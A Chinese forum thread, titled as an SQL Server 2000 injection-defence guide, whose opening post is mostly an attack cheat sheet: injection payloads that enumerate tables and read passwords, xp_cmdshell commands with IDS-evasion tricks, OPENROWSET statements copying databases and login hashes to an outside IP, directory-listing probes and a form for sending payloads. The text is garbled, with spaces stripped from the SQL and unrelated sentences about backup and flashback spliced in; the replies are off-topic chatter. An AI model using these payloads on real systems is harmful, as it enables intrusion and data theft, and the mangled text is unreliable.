仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 786|回复: 8
打印 上一主题 下一主题

[学习教程] MSSQL教程之SQL Server 2000 注进防护年夜全(二)

[复制链接]
飘飘悠悠 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:22:12 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
因此我们的保存数据方法就是:在删除的动作开始之前,把表数据备份起来,然后留一个空表,在空表上执行“删除”操作。server  传统查询机关:
select*FROMnewswhereid=...ANDtopic=...AND.....
adminand1=(selectcount(*)from[user]whereusername=victimandright(left(userpass,01),1)=1)anduserpass
select123;--
;usemaster;--
:aornamelikefff%;--显现有一个叫ffff的用户哈。
and1(selectcount(email)from[user]);--
;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandstatus>0)wherename=ffff;--

  申明:
  下面的语句是失掉数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
  经由过程检察ffff的用户材料可得第一个用表叫ad
  然后依据表名ad失掉这个表的ID
ffff;update[users]setemail=(selecttop1idfromsysobjectswherextype=uandname=ad)wherename=ffff;--

  象上面如许就能够失掉第二个表的名字了
ffff;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandid>581577110)wherename=ffff;--
ffff;update[users]setemail=(selecttop1count(id)frompassword)wherename=ffff;--
ffff;update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)
wherename=ffff;--

ffff;update[users]setemail=(selecttop1namefrompasswordwhereid=2)
wherename=ffff;--

execmaster..xp_servicecontrolstart,schedule
execmaster..xp_servicecontrolstart,server
sp_addextendedprocxp_webserver,c:        empxp_foo.dll

  扩大存储就能够经由过程一样平常的办法挪用:
execxp_webserver

  一旦这个扩大存储实行过,能够如许删除它:
sp_dropextendedprocxp_webserver

insertintousersvalues(666,char(0x63)+char(0x68)+char(0x72)+
char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)-

insertintousersvalues(667,123,123,0xffff)-
insertintousersvalues(123,admin--,password,0xffff)-
;anduser>0
;;and(selectcount(*)fromsysobjects)>0
;;and(selectcount(*)frommysysobjects)>0//为access数据库

  一般打针的一些先容:
  A)ID=49这类注进的参数是数字型,SQL语句原貌大抵以下:
  select*from表名where字段=49
  注进的参数为ID=49And[查询前提],便是天生语句:
  select*from表名where字段=49And[查询前提]

  (B)Class=一连剧这类注进的参数是字符型,SQL语句原貌大抵概以下:
  select*from表名where字段=一连剧
  注进的参数为Class=一连剧and[查询前提]and=,便是天生语句:
  select*from表名where字段=一连剧and[查询前提]and=

  (C)搜刮时没过滤参数的,如keyword=关头字,SQL语句原貌大抵以下:
  select*from表名where字段like%关头字%
  注进的参数为keyword=and[查询前提]and%25=,便是天生语句:
  select*from表名where字段like%and[查询前提]and%=%
  ;;and(selectTop1namefromsysobjectswherextype=Uandstatus>0)>0
  sysobjects是SQLServer的体系表,存储着一切的表名、视图、束缚及别的工具,xtype=Uandstatus>0,暗示用户创建的表名,下面的语句将第一个表名掏出,与0对照巨细,让报错信息把表名表露出来。

  ;;and(selectTop1col_name(object_id(表名),1)fromsysobjects)>0
  从⑤拿到表名后,用object_id(表名)猎取表名对应的外部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就能够逐一猎取所猜解内外面的字段名。

  post.htm内容:次要是便利输出。

<iframename=psrc=#width=800height=350frameborder=0></iframe>
<br>
<formaction=http://test.com/count.asptarget=p>
<inputname="id"value="1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0);--"style="width:750">
<inputtype=submitvalue=">>>">
<inputtype=hiddenname=fnovalue="2,3">
</form>
  列举出他的数据表名:
id=1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0);--
  这是将第一个表名更新到aaa的字段处。
  读出第一个表,第二个表能够如许读出来(在前提后加上andname方才失掉的表名)。
id=1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0andnamevote);--
  然后id=1552andexists(select*fromaaawhereaaa>5)
  读出第二个表,^^^^^^一个个的读出,直到没无为止。
  读字段是如许:
  id=1552;updateaaasetaaa=(selecttop1col_name(object_id(表名),1));--
  然后id=1552andexists(select*fromaaawhereaaa>5)堕落,失掉字段名
  id=1552;updateaaasetaaa=(selecttop1col_name(object_id(表名),2));--
  然后id=1552andexists(select*fromaaawhereaaa>5)堕落,失掉字段名
初级技能:
  [取得数据表名][将字段值更新为表名,再设法读出这个字段的值便可失掉表名]
  update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus>0[andname你失掉的表名查出一个加一个])[where前提]
  selecttop1namefromsysobjectswherextype=uandstatus>0andnamenotin(table1,table2,…)
  经由过程SQLSERVER注进毛病建数据库办理员帐号和体系办理员帐号[以后帐号必需是SYSADMIN组]
  [取得数据表字段名][将字段值更新为字段名,再设法读出这个字段的值便可失掉字段名]
  update表名set字段=(selecttop1col_name(object_id(要查询的数据表名),字段列如:1)[where前提]
  绕过IDS的检测[利用变量]
declare@asysnameset@a=xp_+cmdshellexec@adirc:
declare@asysnameset@a=xp+_cm+dshellexec@adirc:
  1、开启远程数据库
  基础语法
select*fromOPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=apachy_123,select*fromtable1)
  参数:(1)OLEDBProvidername
  2、个中毗连字符串参数能够是任何和端口用来毗连,好比
select*fromOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*fromtable
  要复制方针主机的全部数据库,起首要在方针主机上和本人呆板上的数据库创建毗连(怎样在方针主机上创建远程毗连,方才已讲了),以后insert一切远程表到当地表。
  基础语法:
insertintoOPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=apachy_123,select*fromtable1)select*fromtable2
  这行语句将方针主机上table2表中的一切数据复制到远程数据库中的table1表中。实践使用中得当修正毗连字符串的IP地点和端口,指向必要的中央,好比:
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*fromtable1)select*fromtable2
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*from_sysdatabases)
select*frommaster.dbo.sysdatabases
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*from_sysobjects)
select*fromuser_database.dbo.sysobjects
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*from_syscolumns)
select*fromuser_database.dbo.syscolumns
  以后,即可以从当地数据库中看到方针主机的库布局,这已轻而易举,未几讲,复制数据库:
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*fromtable1)select*fromdatabase..table1
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*fromtable2)select*fromdatabase..table2
......
  3、复制哈西表(HASH)
  这实践上是上述复制数据库的一个扩大使用。登录暗码的hash存储于sysxlogins中。办法以下:
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*from_sysxlogins)select*fromdatabase.dbo.sysxlogins
  失掉hash以后,就能够举行暴力破解。这必要一点命运和大批工夫。
  遍历目次的办法:
  先创立一个一时表:temp
5;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--
5;inserttempexecmaster.dbo.xp_availablemedia;--取得以后一切驱动器
5;insertintotemp(id)execmaster.dbo.xp_subdirsc:;--取得子目次列表
5;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:;--取得一切子目次的目次树布局,并寸进temp表中
5;insertintotemp(id)execmaster.dbo.xp_cmdshelltypec:webindex.asp;--检察某个文件的内容
5;insertintotemp(id)execmaster.dbo.xp_cmdshelldirc:;--
5;insertintotemp(id)execmaster.dbo.xp_cmdshelldirc:*.asp/s/a;--
5;insertintotemp(id)execmaster.dbo.xp_cmdshellcscriptC:InetpubAdminScriptsadsutil.vbsenumw3svc
5;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:;--(xp_dirtree合用权限PUBLIC)
写进表:
语句1:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(sysadmin));--
语句2:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(serveradmin));--
语句3:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(setupadmin));--
语句4:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(securityadmin));--
语句5:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(securityadmin));--
语句6:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(diskadmin));--
语句7:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(bulkadmin));--
语句8:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(bulkadmin));--
语句9:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_MEMBER(db_owner));--
把路径写到表中往:
_blank>http://www.xxxxx.com/down/list.asp?id=1;create table dirs(pathsvarchar(100),idint)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtreec:-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0(select top 1 paths from dirs)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0(select top 1 paths from dirs where paths not in(@Inetpub))-
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtreee:web--
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0(select top 1 paths from dirs1)-

有了数据以后,我们就要想一个比较统一的方法来闪回。上面我们说了对于DML操作,可以通过反向执行所有逆操作来实现,对于语句里面的DDL,只能直接跳过。原因是一个DDL不一定有直接的逆操作。
变相怪杰 该用户已被删除
沙发
发表于 2015-1-19 09:36:04 | 只看该作者
而写到本地,我又考虑到效率问题.大家来讨论讨论吧,分数不打紧,就给10分,十全十美,没啥对错,各抒己见,但是要有说服力的哦~
只想知道 该用户已被删除
板凳
发表于 2015-1-26 17:16:14 | 只看该作者
呵呵,这就是偶想说的
小女巫 该用户已被删除
地板
发表于 2015-2-4 20:32:04 | 只看该作者
如果处理少量数据,比如几百条记录的数据,我不知道这两种情况哪个效率更高,如果处理大量数据呢?比如有表中有20万条记录.
分手快乐 该用户已被删除
5#
发表于 2015-2-10 07:55:27 | 只看该作者
代替了原来VB式的错误判断。比Oracle高级不少。
admin 该用户已被删除
6#
发表于 2015-3-1 04:03:27 | 只看该作者
个人感觉没有case直观。而且默认的第三字段(还可能更多)作为groupby字段很容易造成新手的错误。
灵魂腐蚀 该用户已被删除
7#
发表于 2015-3-10 12:46:40 | 只看该作者
始终遗憾SQLServer的登陆无法分配CPU/内存占用等指标数。如果你的SQLServer给别人分配了一个只可以读几个表的权限,而这个家伙疯狂的死循环进行连接查询,会给你的系统带来很大的负担。
小魔女 该用户已被删除
8#
发表于 2015-3-17 07:12:48 | 只看该作者
groupby子句可以将查询结果分组,并返回行的汇总信息Oracle按照groupby子句中指定的表达式的值分组查询结果。
若天明 该用户已被删除
9#
发表于 2015-3-24 02:26:36 | 只看该作者
而写到本地,我又考虑到效率问题.大家来讨论讨论吧,分数不打紧,就给10分,十全十美,没啥对错,各抒己见,但是要有说服力的哦~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-6 05:21

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表